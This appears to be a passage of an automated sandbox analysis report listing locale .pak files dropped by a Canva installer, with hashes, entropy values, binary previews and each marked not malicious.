C:\Program Files (x86)\Canva\locales\en-US.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	451080
Entropy (8bit):	5.512024572152552
Encrypted:	false
SSDEEP:	6144:UVmES/piH64PrXGM0w3jMMP9eD3D9faYLbcNx54SbngP/eoQwB:Umz14XRlMMY3DzA54S+QwB
MD5:	8F164155D22029535CD60F47966A89AF
SHA1:	19733935EFE68F7FF3E2A84D28317E0391EB824B
SHA-256:	20BE1732675FEDF380010B09936ED65C71BB761D0A05732215EF0795B5ABA606
SHA-512:	4582715817BB9C99D875AA89B1EFBD0F70B63DCD37DBFC64E3078D1D4D7AD4AE8FAC5A703AFE1FC65B9AF2F5C0FE8D3E293E2F0530106A6974B38B4CEBCA9DB0
Malicious:	false
Preview:	.........%s.e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.!...w.....y.4...z.C...\|.I...}.[.....c.....h.....p.....x.......................................................................I.......................^.......................S.......................V.......................1.....v.......................9.....`.....m.................$.....;.................#.....;.............................k.......................9.......................#.............................M.....h.....w.............................[.............................m.......................I.....v.......................9.....D.............................L.......................&.......................!.....`.............................?.....T.............................s.......................Z.............................Z.......................9.....q.................Z.......................m.......................c.......................#.....E.....U...................

C:\Program Files (x86)\Canva\locales\es-419.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	543303
Entropy (8bit):	5.374575506060356
Encrypted:	false
SSDEEP:	6144:BJoGuBgJYXqY+clpuYsKBoj5z6gLFdUu2bR:BJqGiqQpPU5z62F/oR
MD5:	6E7EEE3C0D7935B4B72FB529227413D8
SHA1:	64643BA51EDCA0C0387073716D68380DF5E2DC7C
SHA-256:	06D13FFC791BB7189F5AFBB166B1DC2BCF9309F04B68E4F16BAACD4B3F625021
SHA-512:	F55A55D9F23463A51F48BD16DEBCC6FCA28EEC4CEFBB3006083E741795EDD9A9EFB8D1126210F4A35558BC698C8A76A43E9E56093A90145137A7854B4A2E44F8
Malicious:	false
Preview:	........]%..e.d...h.l...i.u...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.0.....8.....=.....E.....M.....U.....\.....c.....j.....k.....l.....n.............................N...........B.....]...........5.....z...........&.................!.................P.....k.................8.....K.................0.....A...........;.................:...................................:.....M...........".....`.....w...........c.................^...........6.....].................#.....>.......................&.......................4.................V.....i...........-.....k.....w...........#.....T....._.................8.....B.................P.....`...........S.................%.....z................./.....\|.................m.................>.................6.......................%.......................4.................M.....g...........\|.................. ..... ....F!....t!.....!....Z".....".....".....#....K#....n#.....#.....$....r$.....$.....$

C:\Program Files (x86)\Canva\locales\es.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	543232
Entropy (8bit):	5.350780003321714
Encrypted:	false
SSDEEP:	6144:DD8qint0wME1/o/7Ng0Hkp3+UNoqFtnjO5Jmr40nIw6PZgHu:D4vthMsy7EpPoqTnjO5IrbnjO
MD5:	1EFB37FAA54DA5A7D9FE694FEE7D5E4E
SHA1:	497F6E0FB9DC099DFD8E107570FEBE9D0A6EBC2D
SHA-256:	77AA01763C114B75A83DE3C34C60497B1CA23C98523F58A43C76AAE7380AB3B6
SHA-512:	FACC41943159DAD7541F5D50B8216F6CCF02703A983DD81120F387DDEA70D502F5D66C275F80267C7A3B1EB9F1C751A4EC3B307D03F872BE4237366637BB829A
Malicious:	false
Preview:	........b%..e.n...h.v...i.~...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.!...\|.'...}.9.....A.....F.....N.....V.....^.....e.....l.....s.....t.....u.....w.............................]...........U.....p...........R.................>.................H...........+.....g.................=.....l.....\|...........>.....f.....w...........q.................e.................<.................W.....h...........8.....t.................}.................u...........9.....^.................F.....\.................0.....?.................8.....N.................M.....`.................I.....U.................3.....>....................... .........................................R.....l...........".....N.....k.................C.....b...........I.....n.................v.................[.......................O.......................e................. ...........4.................7 ..... .....!....+!.....!....."....O"....c".....".....#.....#....A#.....#.....$....R$

C:\Program Files (x86)\Canva\locales\et.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	493540
Entropy (8bit):	5.454116761923621
Encrypted:	false
SSDEEP:	6144:+pQdZQe2AH5hJ1HNR5yyX+DuH/Fb0WmFosS4Eqsoh7Pwiw5dQH57jnMlvCKMvaKL:+yZ92ejyyIuJmFoszwQH57jUW
MD5:	78A8A4956B1CD09124B448985A839F28
SHA1:	A25BCAB44ED12DD0DD643AA6782903B22B84816B
SHA-256:	AC1431E61F8C6C56EF96860DC8A8DDF840DBF6965AF6B920D811B7E39ADAB6B1
SHA-512:	843BAFCE3E528BA98A3FF537B01D7896F83C22C0AD2E43BBCE83381FAA943D74D7B11B419DAAC0B0F57DE30D5792E3262DEFE9C68F5F4C7CA84B173395D14798
Malicious:	false
Preview:	........n%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v. ...w.-...y.3...z.B...\|.H...}.Z.....b.....g.....o.....w.......................................................................c...........Z.....u...........D.....t.................i...............................................}.......................l.......................k.........................................G.......................K.......................[...................................K.....b...........'.....I.....d.................0.....<.......................+.................3.....>.................?.....M.................7.....?.................2.....A.................4.....<...........$....._.....w...........%.....D.....Z.................<....._.................D.....Q.................M.....y.................6.....G.................3.....K.................O.....j...........e.................S.................>.................P.....].................. ....- ..... ..... ....)!

C:\Program Files (x86)\Canva\locales\fa.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	808052
Entropy (8bit):	5.022679220176124
Encrypted:	false
SSDEEP:	24576:Jap2Eq8u313uyqoT+s7q+NRmX1loT4RmdAQifaQ2XxFMJGk620driUHMX9O9xdpW:sUjJ5SV
MD5:	6C6C939CBCE5A9AE6B6A89B9DC1B14CD
SHA1:	8674B02FB2A11BA6664427C78401D261DCEC859C
SHA-256:	D77AADACDB5B72345C68590ECE6463EFCDD4E8817FE3DEDAD98D64F132B8E48F
SHA-512:	3CF8ECCAC20108550C2A7758531AE992D72AA23396ABDFD38E613ED26FC755FA33385B4538DCE9E19309B622973CA6D4C0FEEEDC7064DF9BB12419DFC630D545
Malicious:	false
Preview:	.........%W.e.....h.....i.....j.....k.....l.....n.....o.....p.....q.!...r.-...s.>...t.G...v.\...w.i...y.o...z.~...\|.....}...............................................................................7.....^.....C.......................h.......................i.....).......................R.................k...........].....p...................................I.................r...........g...........%.................-...........l.......................O.......................\|.......................#.....W.....{.............................Y.........../.....F...........~.................s...........S.....j...........v.................N.................@...........f.................f .....!....r!.....!.....".....".....".....".....#....4$....y$.....$....I%.....%....6&....V&.....'.....'.....'....A(.....(....7)....\)....w)....1.........-+....O+.....+.....,.....,.....,.....-.........../...../....p0.....1....r1.....1....a2.....3....W3....z3.....3....\|4.....4.....4....t5.....6....`6.....6

C:\Program Files (x86)\Canva\locales\fi.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	504052
Entropy (8bit):	5.421469618205756
Encrypted:	false
SSDEEP:	12288:/aVXt4D7SmA19ub5KuOar5yZ7kfCHEpyWaM7OYM:/64D7Smll5yFHZl
MD5:	83DEC7D70140F96E780BCA0E97EB3DFA
SHA1:	E0C9891241D88716419F476BB193ADA5D8606EB1
SHA-256:	AE902AB57A1325D4F0A0A1C69790F28F5E49B5671A99C4C315367B4425D1DE97
SHA-512:	7B1851C2476290DBDE7DCBEFBE75F89041EC185DC4354DB55FFE2DA588E17363403921EEAF9FD26EBA8EB4DE3BF99876339DE1DD4219EC6F5E2EA3679B90BE71
Malicious:	false
Preview:	.........%f.e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.&...t./...v.D...w.Q...y.W...z.f...\|.l...}.~...........................................................................................................h.....{...........A.....t.................d.........................................'.....}.......................N.....n.....~...........*.....P.....j...........M.......................[.......................].......................^.................&.......................O.......................).....u.......................I.....r.....~...........!.....K.....U.................4.....A.............................n.......................R.......................G.......................d.......................1.......................'.......................%......................./.....o.......................L.....v.................D.....}...................................k.......................{.......................V.............................u.......

C:\Program Files (x86)\Canva\locales\fil.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	569703
Entropy (8bit):	5.1919702904490395
Encrypted:	false
SSDEEP:	6144:aZdptKHeHQogDYIQy7DQEuH2V8L0dnGNLmG5IXmr1YARQqK:odM5kxEG5mmg
MD5:	E499AF17FCE1F7F276B3BFB0E1B2F5B2
SHA1:	E2BF18ACF2A9E357AA7A694B5C60F947FD8BB0C2
SHA-256:	A30015021FB928BCF16F9409FB45FB89CA3D196BAFB3597DF3FE4A9E477A3FD9
SHA-512:	A1F03B7A6EC3F4601052D4E1F2CA6C092D9E5FE41CE7DF89F7E7FBE1A1892DF73A9CB85058F3C24E1236ED013E2BDD017F7BEC3D6B6FF13CA61BF0849C73F472
Malicious:	false
Preview:	.........%..e.L...h.T...i.j...j.v...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.%.....-.....2.....:.....B.....J.....Q.....X....._.....`.....a.....f.....s.......................W...........F.....d...........[.................]...........J.....q...........f.................$.......................1.......................t...........%.....T...........j.................Y.................-.................T.....n...........i.................b...........N.....p.........../.....Z.....w...........%.....M.....Z.................8.....G...........$....._.....u...........A.....w.................I.....{.................J.....{.................L.....~...................................^.......................X.......................H.......................q...........*.....a...........(.....R.....l...........J.....}...........& ..... ..... ..... .....!....1"....."....."....@#.....#.....$....@$.....$.... %....V%....n%.....%....&&....N&....d&.....&....Z'.....'

C:\Program Files (x86)\Canva\locales\fr.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	587932
Entropy (8bit):	5.385302506831163
Encrypted:	false
SSDEEP:	12288:3OjnZLqxMDpDgEL6QuaMVWXKz05FlZQmZyMYnYtzLl9ujzx4e5hxkJSW7v40wCJY:3Okm2VqN5Q7
MD5:	606E583292DBEAE8A3742A700D09E1C2
SHA1:	BF49B446173BA81EC3F926D69B87A81C5E233C4E
SHA-256:	C22E274FBC4A033CB8A9A4E9A96F82487DC671EC0AD49B3257939D2A8A751442
SHA-512:	47277EDBFB2DCE8724900C0A7B0231E34DEEE19B268F46C08D56ADECAD38D629D79466C26B701B6F43607F7DCDE55B1BBF6C3D73BDBD7E22096A0D14AD901621
Malicious:	false
Preview:	........F% .e.6...h.>...i.O...j.[...k.j...l.u...n.}...o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.........................'...../.....6.....=.....D.....E.....F.....H.....X.....f.....x...........,...........L.....n...........U.................=...........".....>.................m.................J.....v.................Z.................5...................................>.....b...........@.......................i...............................................#.......................d.......................^.......................d.......................\|.................-.......................0.............................{.......................z.................A...........%.....<.................0.....N.......................$.................*.....F...........Q.................-.....\|.................-.......................z...........,.....L...........J ..... ..... ....8!.....!.....!.....".....".....#....h#.....#.....#....0$....]$....q$.....$....]%.....%

C:\Program Files (x86)\Canva\locales\gu.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1148544
Entropy (8bit):	4.309990877698155
Encrypted:	false
SSDEEP:	3072:A4TQMBc+YPbBMDBW6bfrBDNOHIwjAwREJKVMjNiT7llj63rFXlPCpMi5eWWiMJsr:A4THSPbr6bvMa/+c5q4hNkFR
MD5:	DBC465E12C921212C1A3E899E5FD5046
SHA1:	F6F7081E622DF0FC9647DCE0572483899A59E440
SHA-256:	7B06F3B7040901E7DBD2884BA534D43E73013CE0677BC725D53BCCD54759AD5E
SHA-512:	9C3F3E7E7A62A0148789F561C37144F971ECC16C44A4F5A89214CBD7FADE0E1D2CCCD5C106C4718DF84A198262EF139A6530C400F5C0873231009E8B432BD3BC
Malicious:	false
Preview:	........T%..e.R...h.Z...i.t...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}./.....7.....<.....D.....L.....T.....[.....b.....i.....j.....k.....p.............................V.....S.....$.....`.....S.....................................................U.......................;.................f...........P.....p.....S...........n.......................J...........b.....6...................................+.....(.....#...............................................(.....d...........D...........9.....a...... ..... ..... .....!.....!....."....."...."#.....#.....$.....$.....%.....%....q&.....&.....&.....'....7(.....(.....(....^).........i.....*.....+.....,....P-.....-....?...........F/....o/...../....t0.....0.....0....u1....V2.....2.....3.....4.....4....h5.....5.....6....-7....p7.....7.....8....K9.....9.....9.....:.....;....'<....Z<.....=.....>....\|?.....?.....@.....A....0B.....B....pC....<D.....D.....D.....E....gF.....F.....F.....H.....H.....I

C:\Program Files (x86)\Canva\locales\he.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	708276
Entropy (8bit):	4.622250398985609
Encrypted:	false
SSDEEP:	12288:N7wJFZb6J5hhT3BluYCy31frspm2GWqu/kol4JACVXbfeQCajLn5O67cE+oixB0X:ZUFZQjb5woB
MD5:	0002D6ECC7F06D88DC714DEBF31C925A
SHA1:	4C5DE1E0A8EF47B0D98BB3A9C5C1EE176F0DF3EF
SHA-256:	D71C98ED9EF2AAF13033332DCD40F41785656C156D41614916353DAA3EA5F2A7
SHA-512:	060C668B540813055F7537B64F8A9F4B393E3E1D31A6341C603644725EB8673E3249A07B7F519CCCDB65C4D2ABED2792580DF880CFB8B9B154D9DDADB3ADE027
Malicious:	false
Preview:	........4%2.e.....h.....i.+...j.7...k.F...l.Q...n.Y...o.^...p.k...q.q...r.}...s.....t.....v.....w.....y.....z.....\|.....}................................................. .....!.....".....$.....;.....T.....m...........O.......................9............................._.................d...........3.....U...........J.........................................g.................?...........V.................f...........E.....d...........[.................C.................#.........................................(.....U...........?.....q...............................................<.....O...........E.........................................E.........................................A...........h.................Y.........................................4...........+.....{...........9 ..... ..... ....1!.....!.....!....."....3".....".....#....G#....`#.....$....u$.....$.....$.....%....u&.....&.....'.....'....>(.....(.....(....g).....)....4....[.....*....G+....w+.....+....P,.....,....=-

C:\Program Files (x86)\Canva\locales\hi.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1211426
Entropy (8bit):	4.285504136009603
Encrypted:	false
SSDEEP:	3072:EzCplnpUoc9rQtU2BxfwUV/BB0ZV1d+uxlRLiW3Jd1eTByntDPtDl+p1as4u/8W0:Ez/Xlexoev85P5+hgr
MD5:	5FE0B17532CFC8523F97EE17DBA844A7
SHA1:	6233FD3670BCB32C4EFEAEF7BDB41ADEE6EFD825
SHA-256:	352F833B4F936369216EEAA1F8C5E652B34A36CC143FF9A872B0608E4E88957C
SHA-512:	A37DB9DA6D9B5F913930712A57FED8EBE1654787B246445A40F59A91FCC67373367CADAB2DD70A89445514F2D6D806FA3DFD744461E2C15777FFAD30D3D0BF12
Malicious:	false
Preview:	.........%L.e.....h.....i.....j.....k.....l.....n.%...o....p.7...q.=...r.I...s.Z...t.c...v.x...w.....y.....z.....\|.....}...............................................................................7.....b...............................................'.....b.........................................F.....u.....H...........V...........>...........9.....\.....C...........F.............................D.................N.....w.....^...................................D.....v.................s.................9.................q....." ....u ..... ....3!.....!....."....&".....".....#...."$....S$.....%.....%....$&....C&.....&.....'.....'.....(.....(....b).....).....).........B+.....+.....+.....,.....-....L.....\|.....8/...../....00....\0.....0....x1.....1.....1.....2.....3.....3.....3.....4.....5.....6....[6.....7.....7.....7.....8.....9.....9....{:.....:.....;....a<.....=....:=.....>.....?.....@.....@.....A.....B....KC.....C.....D.....E....>F.....F.....G....FH.....H.....H.....I.....J....DK

C:\Program Files (x86)\Canva\locales\hr.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	548310
Entropy (8bit):	5.5075408976258435
Encrypted:	false
SSDEEP:	3072:21tKv376P+UG5oi2IAD1OaBV08HSrk7D+wfWrDfB+uhAxqOSAq6+xMcwd0uP5qci:21tKvL6KrA5nEBwuBhbkBc5Pg7YIjemK
MD5:	7BA9BF24F9965EF7FF2A9EEA86188EE0
SHA1:	B9953144FB5E519A7A35AE595A29D15BBD34C0F1
SHA-256:	F882072827C75A5C046E29CC4E2468A41CB786199045B58550E978272D338FE8
SHA-512:	768213543C68CAF8CA941B1C7C87E5DDDAAFC4915457A849C83B4FECE528BB7BDA409B99930572DBC6A102FD7DBB29A593073B1D5B894708AB2B2019A938BE2B
Malicious:	false
Preview:	........r%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.(...w.5...y.;...z.J...\|.P...}.b.....j.....o.....w.............................................................................w...........e.................R.................#.......................q.................(.......................$.....y.......................x.................,...........).....}.................k.................+.......................M.................'...........@.................%.....v.......................P.....r.......................6.....F.................@.....U.................2.....A.................D.....Y.................,.....<.......................$................._.....z.................<.....Y.......................?.......................,.................Q.................-.....R.....h...........5.....g.................a.................Y...........4.....F.................l.................S ..... ..... ..... ....0!....N!....`!.....!....<"....z"

C:\Program Files (x86)\Canva\locales\hu.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	590492
Entropy (8bit):	5.641447107584658
Encrypted:	false
SSDEEP:	6144:OUyE1INoBuT80LvP9/Hs8DfcAujkatvV5RvBFZfpdVYGkb7ZNIeHK9njDi54Rryy:OUJSNI4/sA0V5RvBnuzzKY5y0n4
MD5:	AB64CF95B5231922340ECEC09182DCB2
SHA1:	9EDDEEF898E4A4C1EC6DB989587A75FC3E8A1E75
SHA-256:	E806294A2D609A514DFA416A07625FB2F173018BB2E278323F752EFC459C39F8
SHA-512:	BEC74EF13DB548FB9B225C6AFFF2841D5BD987D4EA129ADEDF6E5B852D004F89CDCF5FD4A6CCB1E4E5448EF38D488F258E3D5CC49C24775A34647CC0BB7102E5
Malicious:	false
Preview:	........1%5.e.....h.....i.%...j./...k.>...l.I...n.Q...o.V...p.c...q.i...r.u...s.....t.....v.....w.....y.....z.....\|.....}........................................................................./.....E.....Z.....n.................=.....[...........R...............................................&.....\.....u...........O.....v.................].................C.................&...........M.................;.......................o...........+.....;...........>.................3.................>...........2.....^.....{...........S.....z.................j.................9.................,...........6.....y...................................Q.................4...........:.....\|...................................q.................-.................$.....M.................S.....k...........g.................S.......................I ..... ..... ..... ....v!.....!....+"....L"....."....z#.....#.....#.....$....#%....p%.....%....;&.....&.....'.....'.....'.....'.....(....9(.....(....*)....u)

C:\Program Files (x86)\Canva\locales\id.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	486837
Entropy (8bit):	5.373459958164849
Encrypted:	false
SSDEEP:	6144:Xedqj3oEK2twd/yG1wF6f+eVnjHF3mmi8IxZ5wZhrwkK5cTSzo7IEji4JHF:2qj4MWFytFyVnjHFWmNIb5wZhlF
MD5:	D736B044FA41A639E13A2BFF3972A182
SHA1:	9CD13B7D8E1B11F13DBB1FBF7EB8A6263F27ED07
SHA-256:	C8E30F0C11D78C7D603DF40BF6E9B2FE896EB36A8EEE27D9621A537545B2F609
SHA-512:	DD1CF38ED3B3C93395A1AF45EC81D6B665112280B89AA5F2108DDDC6F2290F3BCA0DCC696D8DAC4967B4D58C248B2C425E6CF36CE5A93CA1F80D17B00EA2D4B5
Malicious:	false
Preview:	........K%..e.@...h.H...i.Y...j.e...k.t...l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.............!.....).....1.....9.....@.....G.....N.....O.....P.....R.....`.....m.....}.................u.................*.....v.......................v.................7.......................:.............................\.....}.................S.......................^.......................J.....t.................).....V.....c...........).....d.....w...........R......................./.....J.....[.............................m.......................F.......................-.....~.......................V......................./.....\.....h.................H.....U.................?.....Q.............................T.......................,.....r.......................V.......................-.....G.....U.................5.....D.................<.....U...........M.................#.......................6.............................M.....l.....\|...........;.....r.

C:\Program Files (x86)\Canva\locales\is-1NESI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1055231
Entropy (8bit):	4.333705516374822
Encrypted:	false
SSDEEP:	12288:78XSN9LyZYArTJz1L/L1XPhHsbhRy1cW+v1H5UJEyL3ftj8wlz9eTRo94G+K9uLO:78XBS5j5k
MD5:	8470D57577F417DA93D40889CBE9F4BF
SHA1:	6B497939F2B196A1B84E06D8AC2449B554C14A60
SHA-256:	F5118CA292C570E69972FF8A7A81940A98DBF4519532CEFF133488A329825F78
SHA-512:	EFA31D2C3DC584AAA4120C931749FF1CC0F21D263530DD6BD2D9F66BEC74159998CBF679A78B8D231FAB5DA1F0CB48A9D9DFACD0E0E85336B234B87B2457BFF3
Malicious:	false
Preview:	.........$..e.....h.....i.....j.....k.....l.....o.....p.....q.....r.....s.(...t.1...v.F...w.S...y.Y...z.h...\|.n...}...........................................................................................s.......................V...........]...........^.................k...........A.....z.....U...........H...........j.................s...........<.....U.....x.....3.............................$.....u.....C...........n...........]...........j...........e...........~.........................................=.......................H.......................2.......................: ..... ..... .....!....Z".....".....".....#....k$.....$.....%.....%....P&.....&.....&.....'....K(.....(.....(...............+.....+.....,....(-....t-.....-....b...........-/....d/.....0....r0.....0.....1....92.....2....x3.....3.....4.....5....@5....p5....E6.....6.....7....d7....c8.....8....g9.....9.....:.....;....6<....W<.....=.....>....[?.....?.....@....fA.....A.....B.....B....^C.....C.....C.....D.....E....<F

C:\Program Files (x86)\Canva\locales\is-24CO5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	537107
Entropy (8bit):	5.4226739022427255
Encrypted:	false
SSDEEP:	6144:cneZxthZ8l/gooNBXBLZWkoyVH553JBi90sRaY5Cs:rxOl/go+5NJ9sR15x
MD5:	F8BCB6FD83B0425ABB9B214535025140
SHA1:	51E72F9B419393674E8CC9AC3ABABD6FCDEFA251
SHA-256:	3EF0114EAF2268262CD594BFE33B56B24FB416D23D6FD125A9AE022D8ECEAA99
SHA-512:	A5DC5E3EAD99820D3EE9B83CF58670923EDB8B538DAE84FFC6B1AEA9869FEC58F0A5E8AD8BA5A792736D1A593B4B6664D734BE3EF524FC2B036B268FE108B5A2
Malicious:	false
Preview:	........c%..e.p...h.x...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.,...\|.2...}.D.....L.....Q.....Y.....a.....i.....p.....w.....~...............................................l...........T.....p...........7.....p.....................................................0.............................f...................................B.....r...........g.................B.......................g...................................S.....l...........x.................=.............................y.......................v.........................................!.....x.......................W.......................1....._.....i...........&.....^.....o...........j.................(.....r.......................C.....i.................E.....]...........V.................:....._.....x.................E.....X...........(.....s...............................................G.....r...........$ ....L ...._ ..... ..... ...."!....7!.....!....."....L"....l"....."

C:\Program Files (x86)\Canva\locales\is-27EQP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	853696
Entropy (8bit):	4.754963351356009
Encrypted:	false
SSDEEP:	12288:QhjTzIuup7+q2YZAYI8glSDdrLuzQhrUPb7FW5YrT0xs7xH4rL37SjeYM/k/p:0jvwvwlW5nxoP
MD5:	D0045EF8D5EA1347F09983410EFFF00C
SHA1:	4C88AEC2A3D54E44E0D05281201B06917FAF17AD
SHA-256:	A50C82C0DB17E2AA4A62068CA2B210FD9847D32BF2134D6D5AF1FC4B7050091A
SHA-512:	1694CBD28BD29E5F394E3F6CEC01F9EFBB9DA8358F59FF80F550D4059ABDB02E02D4D4DA007E0646FA5CFC812FF8F94FE0A747BDF8B6F8449F02D28D83D536D5
Malicious:	false
Preview:	........j%..e.~...h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.%...y.+...z.:...\|.@...}.R.....Z....._.....g.....o.....w.....~.....................................................7.....$...........e...........]...........j.................S...................................A...........p.................o...........,.....C.......................?.....?.............................%.................n...........g...........r.....).............................a...............................................6.....Y...........V.................q...........r...........A.................7...........P ..... ..... ....R!.....!....."....6"....."....e#.....#.....#.....$....S%.....%.....%.....&.....&....5'....]'.....'....l(.....(.....(.....).........k.....*....X+.....+....K,.....,....>-.....-.....-................^/...../...../.....0....?1.....1.....1.....2.....3....C4....a4....O5.....5....h6.....6....l7.....7....K8....l8.....8....g9.....9.....9.....:....5;.....;

C:\Program Files (x86)\Canva\locales\is-3LR6C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	918373
Entropy (8bit):	4.858278654048673
Encrypted:	false
SSDEEP:	12288:/T0LytA6d8Nj7RMRWYPnfzKj0meRi8ICN5rB3IjtAlLEpdcuPLNiXEqqbQS0w:/Ys8Njtgz55E5
MD5:	BC19ED011123CE8CE343BA2BE9DAA315
SHA1:	D588DF92475BB650D1E2BFC15E558315E90C9425
SHA-256:	EF7FFD8792B482829F31924241E6BD12DCCDFDF404A0781BB28747C308649C0A
SHA-512:	6B0960807F27C7653E7D851D503F5564F773C9E4290D4745566A0C3911CC0EF12E90F47DE883C541129AD7D294A766F226DC689AA343A00AD72049BF3D5C3713
Malicious:	false
Preview:	.........%V.e.....h.....i.....j.....k.....l.....n.....o.....p.#...q.)...r.5...s.F...t.O...v.d...w.q...y.w...z.....\|.....}.....................................................................................?...........e.....(.......................!.................{...../.......................J.............................\|...........:...........&.....;.........................................K...........9...........3.....Y...............................................!.................\...........$...................................<.....]...........\.................l...........j...........&.............................,.....v.............................. ..... .....!....`!....{!....t"....D#.....#.....$.....$....!%....e%.....%.....%....]&.....&.....&....Y'.....'....x(.....(.....)....<.........++.....+....,,....`,.....,....4-.....-.....-....%............/.....0.....0.... 1.....1.....2.....2.....3...._4.....4....)5.....5....h6.....6.....6....i7.....7....%8....B8.....9.....9....2:

C:\Program Files (x86)\Canva\locales\is-47Q0N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	549246
Entropy (8bit):	5.505323401507658
Encrypted:	false
SSDEEP:	6144:VJdzQHdf003K7UpKD93gFahmOW2xdVfwAXaOV5jbt5ZRYJoUjM5QIvCWa:VbIC03K7UpggFa0DtE3t5xUqvvCWa
MD5:	0BC4A1CF47A5AD423969F22AF3030231
SHA1:	3F6F19725068509EFD426600A6B512158267EB58
SHA-256:	E33EA8240835CC775A9E88942AA2905D17CEF84929602FD2C4F26F33F9BDC52A
SHA-512:	D9AB8855472077FBD7277A73FCB2BFA8CBB592F39E62957ACD91BFAC2E51DC24BA23D6C6DACB8DCD4EDFFFF5A59B2BB4D9761F70327AFA0A668BD55E95B00864
Malicious:	false
Preview:	.........$y.e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.+...y.1...z.@...\|.F...}.X.....`.....e.....m.....u.....}.......................................................................^.................K................. .................d.....~...........t.................5.......................`.............................$.....[.....}.............................n...........,.....=...........?.....}...........&.................&...........e.................J.......................[.......................n.............................$.....g.....~...........l.................#.......................L.......................{.........../.....A...........p.................G.......................A.......................?.......................z...........2.....f...........3.....Q.....h...........M.....y............ ..... ..... ..... ....Z!.....!....2"....<"....."....Y#.....#.....#....5$.....$.....$.....$....Q%.....%.....%.....%....z&.....&....0'

C:\Program Files (x86)\Canva\locales\is-4FI4Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	906398
Entropy (8bit):	4.655210398798349
Encrypted:	false
SSDEEP:	24576:E+CDcquMMLYzzQkECPUwVbtcHU373ZA+3aAKHkVDYyKzumpod2nm5c0XuGox3QN3:hCDcquMMLYUKUwVbtcHU373Z93arkVDn
MD5:	D0B47C1CF62B29B866CA630958A019FB
SHA1:	BAE6E1AF9D7225584510443AED21A40FCEA349E3
SHA-256:	24C09721C3CB4F3FE7EB403113375257197BED808295C6B85532409B6664DB45
SHA-512:	39472B1F6859C10CC782A303761D63A2409807D7D342C3BC558075284CF455A26C3E1B9B4CE67A5FBD84E6C4B621ADCFD8FD8A819CFC25554962454E5F4B5816
Malicious:	false
